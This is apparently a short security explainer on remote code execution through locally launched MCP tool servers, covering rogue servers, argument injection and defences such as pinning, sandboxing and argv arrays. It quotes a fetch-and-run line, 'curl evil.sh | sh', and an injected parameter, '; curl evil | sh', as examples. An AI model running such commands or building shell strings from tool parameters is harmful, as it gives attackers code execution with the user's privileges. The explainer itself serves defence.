MCP RCE

MCP RCE: how a local MCP server runs code on your machine

What is MCP RCE? The Model Context Protocol (MCP) lets an AI client plug into tool servers. Over the STDIO transport the client launches the server as a local subprocess - it reads a command and args from config and runs them on your machine, with your environment variables, SSH keys and files. That is the whole risk: a "tool server" is really arbitrary code you agreed to execute. (The HTTP/SSE transport talks to a remote URL instead and does not run anything locally.)

How it works: There are two ways in. A rogue server - installed from a PR, a blog snippet or a public registry - runs attacker code on install (npm/pip postinstall) or on first launch, for example curl evil.sh | sh, opening a reverse shell. Or argument injection: a server builds a shell string from a tool parameter, like sh -c "git log " + arg, and an input of ; curl evil | sh executes. Either path is remote code execution running with your privileges - no model, no prompt, no inference involved.

Why it matters: Developers add MCP servers casually, often straight from a README or a pull request, and the client trusts the config blindly. In 2026, advisories documented RCE across the MCP ecosystem and an active campaign that spread a malicious "productivity-suite" server through public GitHub pull requests. One added line in a config file can hand an attacker your laptop, your cloud keys and whatever that machine can reach.

How to stop it: Treat an MCP server like any dependency you execute. Pin and hash it, vet the source, and never add one from an untrusted PR or blog without reading it. Run servers sandboxed - a container with least privilege, no access to real secrets. Inside a server, build commands as argv arrays, never a shell string, so parameters cannot inject. Allowlist which servers may run, and review every change to your MCP config the way you review code.

MCP RCE is the supply-chain face of the agent boom: the convenience of one-line tool installs becomes code execution the moment the config is trusted. Pin the server, sandbox the spawn, and keep tool parameters out of the shell.